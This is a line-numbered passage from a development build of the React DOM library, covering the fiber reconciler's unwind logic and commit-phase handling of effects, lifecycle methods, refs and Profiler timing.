22704 popContext(workInProgress);
22705 }
22706
22707 var flags = workInProgress.flags;
22708
22709 if (flags & ShouldCapture) {
22710 workInProgress.flags = flags & ~ShouldCapture | DidCapture;
22711
22712 if ( (workInProgress.mode & ProfileMode) !== NoMode) {
22713 transferActualDuration(workInProgress);
22714 }
22715
22716 return workInProgress;
22717 }
22718
22719 return null;
22720 }
22721
22722 case HostRoot:
22723 {
22724 var root = workInProgress.stateNode;
22725 popHostContainer(workInProgress);
22726 popTopLevelContextObject(workInProgress);
22727 resetWorkInProgressVersions();
22728 var _flags = workInProgress.flags;
22729
22730 if ((_flags & ShouldCapture) !== NoFlags && (_flags & DidCapture) === NoFlags) {
22731 // There was an error during render that wasn't captured by a suspense
22732 // boundary. Do a second pass on the root to unmount the children.
22733 workInProgress.flags = _flags & ~ShouldCapture | DidCapture;
22734 return workInProgress;
22735 } // We unwound to the root without completing it. Exit.
22736
22737
22738 return null;
22739 }
22740
22741 case HostComponent:
22742 {
22743 // TODO: popHydrationState
22744 popHostContext(workInProgress);
22745 return null;
22746 }
22747
22748 case SuspenseComponent:
22749 {
22750 popSuspenseContext(workInProgress);
22751 var suspenseState = workInProgress.memoizedState;
22752
22753 if (suspenseState !== null && suspenseState.dehydrated !== null) {
22754 if (workInProgress.alternate === null) {
22755 throw new Error('Threw in newly mounted dehydrated component. This is likely a bug in ' + 'React. Please file an issue.');
22756 }
22757
22758 resetHydrationState();
22759 }
22760
22761 var _flags2 = workInProgress.flags;
22762
22763 if (_flags2 & ShouldCapture) {
22764 workInProgress.flags = _flags2 & ~ShouldCapture | DidCapture; // Captured a suspense effect. Re-render the boundary.
22765
22766 if ( (workInProgress.mode & ProfileMode) !== NoMode) {
22767 transferActualDuration(workInProgress);
22768 }
22769
22770 return workInProgress;
22771 }
22772
22773 return null;
22774 }
22775
22776 case SuspenseListComponent:
22777 {
22778 popSuspenseContext(workInProgress); // SuspenseList doesn't actually catch anything. It should've been
22779 // caught by a nested boundary. If not, it should bubble through.
22780
22781 return null;
22782 }
22783
22784 case HostPortal:
22785 popHostContainer(workInProgress);
22786 return null;
22787
22788 case ContextProvider:
22789 var context = workInProgress.type._context;
22790 popProvider(context, workInProgress);
22791 return null;
22792
22793 case OffscreenComponent:
22794 case LegacyHiddenComponent:
22795 popRenderLanes(workInProgress);
22796 return null;
22797
22798 case CacheComponent:
22799
22800 return null;
22801
22802 default:
22803 return null;
22804 }
22805 }
22806
22807 function unwindInterruptedWork(current, interruptedWork, renderLanes) {
22808 // Note: This intentionally doesn't check if we're hydrating because comparing
22809 // to the current tree provider fiber is just as fast and less error-prone.
22810 // Ideally we would have a special version of the work loop only
22811 // for hydration.
22812 popTreeContext(interruptedWork);
22813
22814 switch (interruptedWork.tag) {
22815 case ClassComponent:
22816 {
22817 var childContextTypes = interruptedWork.type.childContextTypes;
22818
22819 if (childContextTypes !== null && childContextTypes !== undefined) {
22820 popContext(interruptedWork);
22821 }
22822
22823 break;
22824 }
22825
22826 case HostRoot:
22827 {
22828 var root = interruptedWork.stateNode;
22829 popHostContainer(interruptedWork);
22830 popTopLevelContextObject(interruptedWork);
22831 resetWorkInProgressVersions();
22832 break;
22833 }
22834
22835 case HostComponent:
22836 {
22837 popHostContext(interruptedWork);
22838 break;
22839 }
22840
22841 case HostPortal:
22842 popHostContainer(interruptedWork);
22843 break;
22844
22845 case SuspenseComponent:
22846 popSuspenseContext(interruptedWork);
22847 break;
22848
22849 case SuspenseListComponent:
22850 popSuspenseContext(interruptedWork);
22851 break;
22852
22853 case ContextProvider:
22854 var context = interruptedWork.type._context;
22855 popProvider(context, interruptedWork);
22856 break;
22857
22858 case OffscreenComponent:
22859 case LegacyHiddenComponent:
22860 popRenderLanes(interruptedWork);
22861 break;
22862 }
22863 }
22864
22865 var didWarnAboutUndefinedSnapshotBeforeUpdate = null;
22866
22867 {
22868 didWarnAboutUndefinedSnapshotBeforeUpdate = new Set();
22869 } // Used during the commit phase to track the state of the Offscreen component stack.
22870 // Allows us to avoid traversing the return path to find the nearest Offscreen ancestor.
22871 // Only used when enableSuspenseLayoutEffectSemantics is enabled.
22872
22873
22874 var offscreenSubtreeIsHidden = false;
22875 var offscreenSubtreeWasHidden = false;
22876 var PossiblyWeakSet = typeof WeakSet === 'function' ? WeakSet : Set;
22877 var nextEffect = null; // Used for Profiling builds to track updaters.
22878
22879 var inProgressLanes = null;
22880 var inProgressRoot = null;
22881 function reportUncaughtErrorInDEV(error) {
22882 // Wrapping each small part of the commit phase into a guarded
22883 // callback is a bit too slow (https://github.com/facebook/react/pull/21666).
22884 // But we rely on it to surface errors to DEV tools like overlays
22885 // (https://github.com/facebook/react/issues/21712).
22886 // As a compromise, rethrow only caught errors in a guard.
22887 {
22888 invokeGuardedCallback(null, function () {
22889 throw error;
22890 });
22891 clearCaughtError();
22892 }
22893 }
22894
22895 var callComponentWillUnmountWithTimer = function (current, instance) {
22896 instance.props = current.memoizedProps;
22897 instance.state = current.memoizedState;
22898
22899 if ( current.mode & ProfileMode) {
22900 try {
22901 startLayoutEffectTimer();
22902 instance.componentWillUnmount();
22903 } finally {
22904 recordLayoutEffectDuration(current);
22905 }
22906 } else {
22907 instance.componentWillUnmount();
22908 }
22909 }; // Capture errors so they don't interrupt mounting.
22910
22911
22912 function safelyCallCommitHookLayoutEffectListMount(current, nearestMountedAncestor) {
22913 try {
22914 commitHookEffectListMount(Layout, current);
22915 } catch (error) {
22916 captureCommitPhaseError(current, nearestMountedAncestor, error);
22917 }
22918 } // Capture errors so they don't interrupt unmounting.
22919
22920
22921 function safelyCallComponentWillUnmount(current, nearestMountedAncestor, instance) {
22922 try {
22923 callComponentWillUnmountWithTimer(current, instance);
22924 } catch (error) {
22925 captureCommitPhaseError(current, nearestMountedAncestor, error);
22926 }
22927 } // Capture errors so they don't interrupt mounting.
22928
22929
22930 function safelyCallComponentDidMount(current, nearestMountedAncestor, instance) {
22931 try {
22932 instance.componentDidMount();
22933 } catch (error) {
22934 captureCommitPhaseError(current, nearestMountedAncestor, error);
22935 }
22936 } // Capture errors so they don't interrupt mounting.
22937
22938
22939 function safelyAttachRef(current, nearestMountedAncestor) {
22940 try {
22941 commitAttachRef(current);
22942 } catch (error) {
22943 captureCommitPhaseError(current, nearestMountedAncestor, error);
22944 }
22945 }
22946
22947 function safelyDetachRef(current, nearestMountedAncestor) {
22948 var ref = current.ref;
22949
22950 if (ref !== null) {
22951 if (typeof ref === 'function') {
22952 var retVal;
22953
22954 try {
22955 if (enableProfilerTimer && enableProfilerCommitHooks && current.mode & ProfileMode) {
22956 try {
22957 startLayoutEffectTimer();
22958 retVal = ref(null);
22959 } finally {
22960 recordLayoutEffectDuration(current);
22961 }
22962 } else {
22963 retVal = ref(null);
22964 }
22965 } catch (error) {
22966 captureCommitPhaseError(current, nearestMountedAncestor, error);
22967 }
22968
22969 {
22970 if (typeof retVal === 'function') {
22971 error('Unexpected return value from a callback ref in %s. ' + 'A callback ref should not return a function.', getComponentNameFromFiber(current));
22972 }
22973 }
22974 } else {
22975 ref.current = null;
22976 }
22977 }
22978 }
22979
22980 function safelyCallDestroy(current, nearestMountedAncestor, destroy) {
22981 try {
22982 destroy();
22983 } catch (error) {
22984 captureCommitPhaseError(current, nearestMountedAncestor, error);
22985 }
22986 }
22987
22988 var focusedInstanceHandle = null;
22989 var shouldFireAfterActiveInstanceBlur = false;
22990 function commitBeforeMutationEffects(root, firstChild) {
22991 focusedInstanceHandle = prepareForCommit(root.containerInfo);
22992 nextEffect = firstChild;
22993 commitBeforeMutationEffects_begin(); // We no longer need to track the active instance fiber
22994
22995 var shouldFire = shouldFireAfterActiveInstanceBlur;
22996 shouldFireAfterActiveInstanceBlur = false;
22997 focusedInstanceHandle = null;
22998 return shouldFire;
22999 }
23000
23001 function commitBeforeMutationEffects_begin() {
23002 while (nextEffect !== null) {
23003 var fiber = nextEffect; // This phase is only used for beforeActiveInstanceBlur.
23004
23005 var child = fiber.child;
23006
23007 if ((fiber.subtreeFlags & BeforeMutationMask) !== NoFlags && child !== null) {
23008 child.return = fiber;
23009 nextEffect = child;
23010 } else {
23011 commitBeforeMutationEffects_complete();
23012 }
23013 }
23014 }
23015
23016 function commitBeforeMutationEffects_complete() {
23017 while (nextEffect !== null) {
23018 var fiber = nextEffect;
23019 setCurrentFiber(fiber);
23020
23021 try {
23022 commitBeforeMutationEffectsOnFiber(fiber);
23023 } catch (error) {
23024 captureCommitPhaseError(fiber, fiber.return, error);
23025 }
23026
23027 resetCurrentFiber();
23028 var sibling = fiber.sibling;
23029
23030 if (sibling !== null) {
23031 sibling.return = fiber.return;
23032 nextEffect = sibling;
23033 return;
23034 }
23035
23036 nextEffect = fiber.return;
23037 }
23038 }
23039
23040 function commitBeforeMutationEffectsOnFiber(finishedWork) {
23041 var current = finishedWork.alternate;
23042 var flags = finishedWork.flags;
23043
23044 if ((flags & Snapshot) !== NoFlags) {
23045 setCurrentFiber(finishedWork);
23046
23047 switch (finishedWork.tag) {
23048 case FunctionComponent:
23049 case ForwardRef:
23050 case SimpleMemoComponent:
23051 {
23052 break;
23053 }
23054
23055 case ClassComponent:
23056 {
23057 if (current !== null) {
23058 var prevProps = current.memoizedProps;
23059 var prevState = current.memoizedState;
23060 var instance = finishedWork.stateNode; // We could update instance props and state here,
23061 // but instead we rely on them being set during last render.
23062 // TODO: revisit this when we implement resuming.
23063
23064 {
23065 if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
23066 if (instance.props !== finishedWork.memoizedProps) {
23067 error('Expected %s props to match memoized props before ' + 'getSnapshotBeforeUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23068 }
23069
23070 if (instance.state !== finishedWork.memoizedState) {
23071 error('Expected %s state to match memoized state before ' + 'getSnapshotBeforeUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23072 }
23073 }
23074 }
23075
23076 var snapshot = instance.getSnapshotBeforeUpdate(finishedWork.elementType === finishedWork.type ? prevProps : resolveDefaultProps(finishedWork.type, prevProps), prevState);
23077
23078 {
23079 var didWarnSet = didWarnAboutUndefinedSnapshotBeforeUpdate;
23080
23081 if (snapshot === undefined && !didWarnSet.has(finishedWork.type)) {
23082 didWarnSet.add(finishedWork.type);
23083
23084 error('%s.getSnapshotBeforeUpdate(): A snapshot value (or null) ' + 'must be returned. You have returned undefined.', getComponentNameFromFiber(finishedWork));
23085 }
23086 }
23087
23088 instance.__reactInternalSnapshotBeforeUpdate = snapshot;
23089 }
23090
23091 break;
23092 }
23093
23094 case HostRoot:
23095 {
23096 {
23097 var root = finishedWork.stateNode;
23098 clearContainer(root.containerInfo);
23099 }
23100
23101 break;
23102 }
23103
23104 case HostComponent:
23105 case HostText:
23106 case HostPortal:
23107 case IncompleteClassComponent:
23108 // Nothing to do for these component types
23109 break;
23110
23111 default:
23112 {
23113 throw new Error('This unit of work tag should not have side-effects. This error is ' + 'likely caused by a bug in React. Please file an issue.');
23114 }
23115 }
23116
23117 resetCurrentFiber();
23118 }
23119 }
23120
23121 function commitHookEffectListUnmount(flags, finishedWork, nearestMountedAncestor) {
23122 var updateQueue = finishedWork.updateQueue;
23123 var lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
23124
23125 if (lastEffect !== null) {
23126 var firstEffect = lastEffect.next;
23127 var effect = firstEffect;
23128
23129 do {
23130 if ((effect.tag & flags) === flags) {
23131 // Unmount
23132 var destroy = effect.destroy;
23133 effect.destroy = undefined;
23134
23135 if (destroy !== undefined) {
23136 {
23137 if ((flags & Passive$1) !== NoFlags$1) {
23138 markComponentPassiveEffectUnmountStarted(finishedWork);
23139 } else if ((flags & Layout) !== NoFlags$1) {
23140 markComponentLayoutEffectUnmountStarted(finishedWork);
23141 }
23142 }
23143
23144 {
23145 if ((flags & Insertion) !== NoFlags$1) {
23146 setIsRunningInsertionEffect(true);
23147 }
23148 }
23149
23150 safelyCallDestroy(finishedWork, nearestMountedAncestor, destroy);
23151
23152 {
23153 if ((flags & Insertion) !== NoFlags$1) {
23154 setIsRunningInsertionEffect(false);
23155 }
23156 }
23157
23158 {
23159 if ((flags & Passive$1) !== NoFlags$1) {
23160 markComponentPassiveEffectUnmountStopped();
23161 } else if ((flags & Layout) !== NoFlags$1) {
23162 markComponentLayoutEffectUnmountStopped();
23163 }
23164 }
23165 }
23166 }
23167
23168 effect = effect.next;
23169 } while (effect !== firstEffect);
23170 }
23171 }
23172
23173 function commitHookEffectListMount(flags, finishedWork) {
23174 var updateQueue = finishedWork.updateQueue;
23175 var lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
23176
23177 if (lastEffect !== null) {
23178 var firstEffect = lastEffect.next;
23179 var effect = firstEffect;
23180
23181 do {
23182 if ((effect.tag & flags) === flags) {
23183 {
23184 if ((flags & Passive$1) !== NoFlags$1) {
23185 markComponentPassiveEffectMountStarted(finishedWork);
23186 } else if ((flags & Layout) !== NoFlags$1) {
23187 markComponentLayoutEffectMountStarted(finishedWork);
23188 }
23189 } // Mount
23190
23191
23192 var create = effect.create;
23193
23194 {
23195 if ((flags & Insertion) !== NoFlags$1) {
23196 setIsRunningInsertionEffect(true);
23197 }
23198 }
23199
23200 effect.destroy = create();
23201
23202 {
23203 if ((flags & Insertion) !== NoFlags$1) {
23204 setIsRunningInsertionEffect(false);
23205 }
23206 }
23207
23208 {
23209 if ((flags & Passive$1) !== NoFlags$1) {
23210 markComponentPassiveEffectMountStopped();
23211 } else if ((flags & Layout) !== NoFlags$1) {
23212 markComponentLayoutEffectMountStopped();
23213 }
23214 }
23215
23216 {
23217 var destroy = effect.destroy;
23218
23219 if (destroy !== undefined && typeof destroy !== 'function') {
23220 var hookName = void 0;
23221
23222 if ((effect.tag & Layout) !== NoFlags) {
23223 hookName = 'useLayoutEffect';
23224 } else if ((effect.tag & Insertion) !== NoFlags) {
23225 hookName = 'useInsertionEffect';
23226 } else {
23227 hookName = 'useEffect';
23228 }
23229
23230 var addendum = void 0;
23231
23232 if (destroy === null) {
23233 addendum = ' You returned null. If your effect does not require clean ' + 'up, return undefined (or nothing).';
23234 } else if (typeof destroy.then === 'function') {
23235 addendum = '\n\nIt looks like you wrote ' + hookName + '(async () => ...) or returned a Promise. ' + 'Instead, write the async function inside your effect ' + 'and call it immediately:\n\n' + hookName + '(() => {\n' + ' async function fetchData() {\n' + ' // You can await here\n' + ' const response = await MyAPI.getData(someId);\n' + ' // ...\n' + ' }\n' + ' fetchData();\n' + "}, [someId]); // Or [] if effect doesn't need props or state\n\n" + 'Learn more about data fetching with Hooks: https://reactjs.org/link/hooks-data-fetching';
23236 } else {
23237 addendum = ' You returned: ' + destroy;
23238 }
23239
23240 error('%s must not return anything besides a function, ' + 'which is used for clean-up.%s', hookName, addendum);
23241 }
23242 }
23243 }
23244
23245 effect = effect.next;
23246 } while (effect !== firstEffect);
23247 }
23248 }
23249
23250 function commitPassiveEffectDurations(finishedRoot, finishedWork) {
23251 {
23252 // Only Profilers with work in their subtree will have an Update effect scheduled.
23253 if ((finishedWork.flags & Update) !== NoFlags) {
23254 switch (finishedWork.tag) {
23255 case Profiler:
23256 {
23257 var passiveEffectDuration = finishedWork.stateNode.passiveEffectDuration;
23258 var _finishedWork$memoize = finishedWork.memoizedProps,
23259 id = _finishedWork$memoize.id,
23260 onPostCommit = _finishedWork$memoize.onPostCommit; // This value will still reflect the previous commit phase.
23261 // It does not get reset until the start of the next commit phase.
23262
23263 var commitTime = getCommitTime();
23264 var phase = finishedWork.alternate === null ? 'mount' : 'update';
23265
23266 {
23267 if (isCurrentUpdateNested()) {
23268 phase = 'nested-update';
23269 }
23270 }
23271
23272 if (typeof onPostCommit === 'function') {
23273 onPostCommit(id, phase, passiveEffectDuration, commitTime);
23274 } // Bubble times to the next nearest ancestor Profiler.
23275 // After we process that Profiler, we'll bubble further up.
23276
23277
23278 var parentFiber = finishedWork.return;
23279
23280 outer: while (parentFiber !== null) {
23281 switch (parentFiber.tag) {
23282 case HostRoot:
23283 var root = parentFiber.stateNode;
23284 root.passiveEffectDuration += passiveEffectDuration;
23285 break outer;
23286
23287 case Profiler:
23288 var parentStateNode = parentFiber.stateNode;
23289 parentStateNode.passiveEffectDuration += passiveEffectDuration;
23290 break outer;
23291 }
23292
23293 parentFiber = parentFiber.return;
23294 }
23295
23296 break;
23297 }
23298 }
23299 }
23300 }
23301 }
23302
23303 function commitLayoutEffectOnFiber(finishedRoot, current, finishedWork, committedLanes) {
23304 if ((finishedWork.flags & LayoutMask) !== NoFlags) {
23305 switch (finishedWork.tag) {
23306 case FunctionComponent:
23307 case ForwardRef:
23308 case SimpleMemoComponent:
23309 {
23310 if ( !offscreenSubtreeWasHidden) {
23311 // At this point layout effects have already been destroyed (during mutation phase).
23312 // This is done to prevent sibling component effects from interfering with each other,
23313 // e.g. a destroy function in one component should never override a ref set
23314 // by a create function in another component during the same commit.
23315 if ( finishedWork.mode & ProfileMode) {
23316 try {
23317 startLayoutEffectTimer();
23318 commitHookEffectListMount(Layout | HasEffect, finishedWork);
23319 } finally {
23320 recordLayoutEffectDuration(finishedWork);
23321 }
23322 } else {
23323 commitHookEffectListMount(Layout | HasEffect, finishedWork);
23324 }
23325 }
23326
23327 break;
23328 }
23329
23330 case ClassComponent:
23331 {
23332 var instance = finishedWork.stateNode;
23333
23334 if (finishedWork.flags & Update) {
23335 if (!offscreenSubtreeWasHidden) {
23336 if (current === null) {
23337 // We could update instance props and state here,
23338 // but instead we rely on them being set during last render.
23339 // TODO: revisit this when we implement resuming.
23340 {
23341 if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
23342 if (instance.props !== finishedWork.memoizedProps) {
23343 error('Expected %s props to match memoized props before ' + 'componentDidMount. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23344 }
23345
23346 if (instance.state !== finishedWork.memoizedState) {
23347 error('Expected %s state to match memoized state before ' + 'componentDidMount. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23348 }
23349 }
23350 }
23351
23352 if ( finishedWork.mode & ProfileMode) {
23353 try {
23354 startLayoutEffectTimer();
23355 instance.componentDidMount();
23356 } finally {
23357 recordLayoutEffectDuration(finishedWork);
23358 }
23359 } else {
23360 instance.componentDidMount();
23361 }
23362 } else {
23363 var prevProps = finishedWork.elementType === finishedWork.type ? current.memoizedProps : resolveDefaultProps(finishedWork.type, current.memoizedProps);
23364 var prevState = current.memoizedState; // We could update instance props and state here,
23365 // but instead we rely on them being set during last render.
23366 // TODO: revisit this when we implement resuming.
23367
23368 {
23369 if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
23370 if (instance.props !== finishedWork.memoizedProps) {
23371 error('Expected %s props to match memoized props before ' + 'componentDidUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23372 }
23373
23374 if (instance.state !== finishedWork.memoizedState) {
23375 error('Expected %s state to match memoized state before ' + 'componentDidUpdate. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23376 }
23377 }
23378 }
23379
23380 if ( finishedWork.mode & ProfileMode) {
23381 try {
23382 startLayoutEffectTimer();
23383 instance.componentDidUpdate(prevProps, prevState, instance.__reactInternalSnapshotBeforeUpdate);
23384 } finally {
23385 recordLayoutEffectDuration(finishedWork);
23386 }
23387 } else {
23388 instance.componentDidUpdate(prevProps, prevState, instance.__reactInternalSnapshotBeforeUpdate);
23389 }
23390 }
23391 }
23392 } // TODO: I think this is now always non-null by the time it reaches the
23393 // commit phase. Consider removing the type check.
23394
23395
23396 var updateQueue = finishedWork.updateQueue;
23397
23398 if (updateQueue !== null) {
23399 {
23400 if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
23401 if (instance.props !== finishedWork.memoizedProps) {
23402 error('Expected %s props to match memoized props before ' + 'processing the update queue. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.props`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23403 }
23404
23405 if (instance.state !== finishedWork.memoizedState) {
23406 error('Expected %s state to match memoized state before ' + 'processing the update queue. ' + 'This might either be because of a bug in React, or because ' + 'a component reassigns its own `this.state`. ' + 'Please file an issue.', getComponentNameFromFiber(finishedWork) || 'instance');
23407 }
23408 }
23409 } // We could update instance props and state here,
23410 // but instead we rely on them being set during last render.
23411 // TODO: revisit this when we implement resuming.
23412
23413
23414 commitUpdateQueue(finishedWork, updateQueue, instance);
23415 }
23416
23417 break;
23418 }
23419
23420 case HostRoot:
23421 {
23422 // TODO: I think this is now always non-null by the time it reaches the
23423 // commit phase. Consider removing the type check.
23424 var _updateQueue = finishedWork.updateQueue;
23425
23426 if (_updateQueue !== null) {
23427 var _instance = null;
23428
23429 if (finishedWork.child !== null) {
23430 switch (finishedWork.child.tag) {
23431 case HostComponent:
23432 _instance = getPublicInstance(finishedWork.child.stateNode);
23433 break;
23434
23435 case ClassComponent:
23436 _instance = finishedWork.child.stateNode;
23437 break;
23438 }
23439 }
23440
23441 commitUpdateQueue(finishedWork, _updateQueue, _instance);
23442 }
23443
23444 break;
23445 }
23446
23447 case HostComponent:
23448 {
23449 var _instance2 = finishedWork.stateNode; // Renderers may schedule work to be done after host components are mounted
23450 // (eg DOM renderer may schedule auto-focus for inputs and form controls).
23451 // These effects should only be committed when components are first mounted,
23452 // aka when there is no current/alternate.
23453
23454 if (current === null && finishedWork.flags & Update) {
23455 var type = finishedWork.type;
23456 var props = finishedWork.memoizedProps;
23457 commitMount(_instance2, type, props);
23458 }
23459
23460 break;
23461 }
23462
23463 case HostText:
23464 {
23465 // We have no life-cycles associated with text.
23466 break;
23467 }
23468
23469 case HostPortal:
23470 {
23471 // We have no life-cycles associated with portals.
23472 break;
23473 }
23474
23475 case Profiler:
23476 {
23477 {
23478 var _finishedWork$memoize2 = finishedWork.memoizedProps,
23479 onCommit = _finishedWork$memoize2.onCommit,
23480 onRender = _finishedWork$memoize2.onRender;
23481 var effectDuration = finishedWork.stateNode.effectDuration;
23482 var commitTime = getCommitTime();
23483 var phase = current === null ? 'mount' : 'update';
23484
23485 {
23486 if (isCurrentUpdateNested()) {
23487 phase = 'nested-update';
23488 }
23489 }
23490
23491 if (typeof onRender === 'function') {
23492 onRender(finishedWork.memoizedProps.id, phase, finishedWork.actualDuration, finishedWork.treeBaseDuration, finishedWork.actualStartTime, commitTime);
23493 }
23494
23495 {
23496 if (typeof onCommit === 'function') {
23497 onCommit(finishedWork.memoizedProps.id, phase, effectDuration, commitTime);
23498 } // Schedule a passive effect for this Profiler to call onPostCommit hooks.
23499 // This effect should be scheduled even if there is no onPostCommit callback for this Profiler,
23500 // because the effect is also where times bubble to parent Profilers.
23501
23502
23503 enqueuePendingPassiveProfilerEffect(finishedWork); // Propagate layout effect durations to the next nearest Profiler ancestor.
23504 // Do not reset these values until the next render so DevTools has a chance to read them first.
23505
23506 var parentFiber = finishedWork.return;
23507
23508 outer: while (parentFiber !== null) {
23509 switch (parentFiber.tag) {
23510 case HostRoot:
23511 var root = parentFiber.stateNode;
23512 root.effectDuration += effectDuration;
23513 break outer;
23514
23515 case Profiler:
23516 var parentStateNode = parentFiber.stateNode;
23517 parentStateNode.effectDuration += effectDuration;
23518 break outer;
23519 }
23520
23521 parentFiber = parentFiber.return;
23522 }
23523 }
23524 }
23525
23526 break;
23527 }
23528
23529 case SuspenseComponent:
23530 {
23531 commitSuspenseHydrationCallbacks(finishedRoot, finishedWork);
23532 break;
23533 }
23534
23535 case SuspenseListComponent:
23536 case IncompleteClassComponent:
23537 case ScopeComponent:
23538 case OffscreenComponent:
23539 case LegacyHiddenComponent:
23540 case TracingMarkerComponent:
23541 {
23542 break;
23543 }
23544
23545 default:
23546 throw new Error('This unit of work tag should not have side-effects. This error is ' + 'likely caused by a bug in React. Please file an issue.');
23547 }
23548 }
23549
23550 if ( !offscreenSubtreeWasHidden) {
23551 {
23552 if (finishedWork.flags & Ref) {
23553 commitAttachRef(finishedWork);
23554 }
23555 }
23556 }
23557 }
23558
23559 function reappearLayoutEffectsOnFiber(node) {
23560 // Turn on layout effects in a tree that previously disappeared.
23561 // TODO (Offscreen) Check: flags & LayoutStatic
23562 switch (node.tag) {
23563 case FunctionComponent:
23564 case ForwardRef:
23565 case SimpleMemoComponent:
23566 {
23567 if ( node.mode & ProfileMode) {
23568 try {
23569 startLayoutEffectTimer();
23570 safelyCallCommitHookLayoutEffectListMount(node, node.return);
23571 } finally {
23572 recordLayoutEffectDuration(node);
23573 }
23574 } else {
23575 safelyCallCommitHookLayoutEffectListMount(node, node.return);
23576 }
23577
23578 break;
23579 }
23580
23581 case ClassComponent:
23582 {
23583 var instance = node.stateNode;
23584
23585 if (typeof instance.componentDidMount === 'function') {
23586 safelyCallComponentDidMount(node, node.return, instance);
23587 }
23588
23589 safelyAttachRef(node, node.return);
23590 break;
23591 }
23592
23593 case HostComponent:
23594 {
23595 safelyAttachRef(node, node.return);
23596 break;
23597 }
23598 }
23599 }
23600
23601 function hideOrUnhideAllChildren(finishedWork, isHidden) {
23602 // Only hide or unhide the top-most host nodes.
23603 var hostSubtreeRoot = null;
23604
23605 {
23606 // We only have the top Fiber that was inserted but we need to recurse down its
23607 // children to find all the terminal nodes.
23608 var node = finishedWork;
23609
23610 while (true) {
23611 if (node.tag === HostComponent) {
23612 if (hostSubtreeRoot === null) {
23613 hostSubtreeRoot = node;
23614
23615 try {
23616 var instance = node.stateNode;
23617
23618 if (isHidden) {
23619 hideInstance(instance);
23620 } else {
23621 unhideInstance(node.stateNode, node.memoizedProps);
23622 }
23623 } catch (error) {
23624 captureCommitPhaseError(finishedWork, finishedWork.return, error);
23625 }
23626 }
23627 } else if (node.tag === HostText) {
23628 if (hostSubtreeRoot === null) {
23629 try {
23630 var _instance3 = node.stateNode;
23631
23632 if (isHidden) {
23633 hideTextInstance(_instance3);
23634 } else {
23635 unhideTextInstance(_instance3, node.memoizedProps);
23636 }
23637 } catch (error) {
23638 captureCommitPhaseError(finishedWork, finishedWork.return, error);
23639 }
23640 }
23641 } else if ((node.tag === OffscreenComponent || node.tag === LegacyHiddenComponent) && node.memoizedState !== null && node !== finishedWork) ; else if (node.child !== null) {
23642 node.child.return = node;
23643 node = node.child;
23644 continue;
23645 }
23646
23647 if (node === finishedWork) {
23648 return;
23649 }
23650
23651 while (node.sibling === null) {
23652 if (node.return === null || node.return === finishedWork) {
23653 return;
23654 }
23655
23656 if (hostSubtreeRoot === node) {
23657 hostSubtreeRoot = null;
23658 }
23659
23660 node = node.return;
23661 }
23662
23663 if (hostSubtreeRoot === node) {
23664 hostSubtreeRoot = null;
23665 }
23666
23667 node.sibling.return = node.return;
23668 node = node.sibling;
23669 }
23670 }
23671 }
23672
23673 function commitAttachRef(finishedWork) {
23674 var ref = finishedWork.ref;
23675
23676 if (ref !== null) {
23677 var instance = finishedWork.stateNode;
23678 var instanceToUse;
23679
23680 switch (finishedWork.tag) {
23681 case HostComponent:
23682 instanceToUse = getPublicInstance(instance);
23683 break;
23684
23685 default:
23686 instanceToUse = instance;
23687 } // Moved outside to ensure DCE works with this flag
23688
23689 if (typeof ref === 'function') {
23690 var retVal;
23691
23692 if ( finishedWork.mode & ProfileMode) {
23693 try {
23694 startLayoutEffectTimer();
23695 retVal = ref(instanceToUse);
23696 } finally {
23697 recordLayoutEffectDuration(finishedWork);
23698 }
23699 } else {
23700 retVal = ref(instanceToUse);
23701 }
23702
23703 {
23704 if (typeof retVal === 'function') {
23705 error('Unexpected return value from a callback ref in %s. ' + 'A callback ref should not return a function.', getComponentNameFromFiber(finishedWork));
23706 }
23707 }
23708 } else {
23709 {
23710 if (!ref.hasOwnProperty('current')) {
23711 error('Unexpected ref object provided for %s. ' + 'Use either a ref-setter function or React.createRef().', getComponentNameFromFiber(finishedWork));
23712 }
23713 }
23714
23715 ref.current = instanceToUse;
23716 }
23717 }
23718 }
23719
23720 function detachFiberMutation(fiber) {
23721 // Cut off the return pointer to disconnect it from the tree.
23722 // This enables us to detect and warn against state updates on an unmounted component.
23723 // It also prevents events from bubbling from within disconnected components.
23724 //
23725 // Ideally, we should also clear the child pointer of the parent alternate to let this
23726 // get GC:ed but we don't know which for sure which parent is the current
23727 // one so we'll settle for GC:ing the subtree of this child.
23728 // This child itself will be GC:ed when the parent updates the next time.
23729 //
23730 // Note that we can't clear child or sibling pointers yet.
23731 // They're needed for passive effects and for findDOMNode.
23732 // We defer those fields, and all other cleanup, to the passive phase (see detachFiberAfterEffects).
23733 //
23734 // Don't reset the alternate yet, either. We need that so we can detach the
23735 // alternate's fields in the passive phase. Clearing the return pointer is
23736 // sufficient for findDOMNode semantics.
23737 var alternate = fiber.alternate;
23738
23739 if (alternate !== null) {
23740 alternate.return = null;
23741 }
23742
23743 fiber.return = null;
23744 }
23745
23746 function detachFiberAfterEffects(fiber) {
23747 var alternate = fiber.alternate;
23748
23749 if (alternate !== null) {
23750 fiber.alternate = null;
23751 detachFiberAfterEffects(alternate);
23752 } // Note: Defensively using negation instead of < in case
23753 // `deletedTreeCleanUpLevel` is undefined.
23754
23755
23756 {
23757 // Clear cyclical Fiber fields. This level alone is designed to roughly
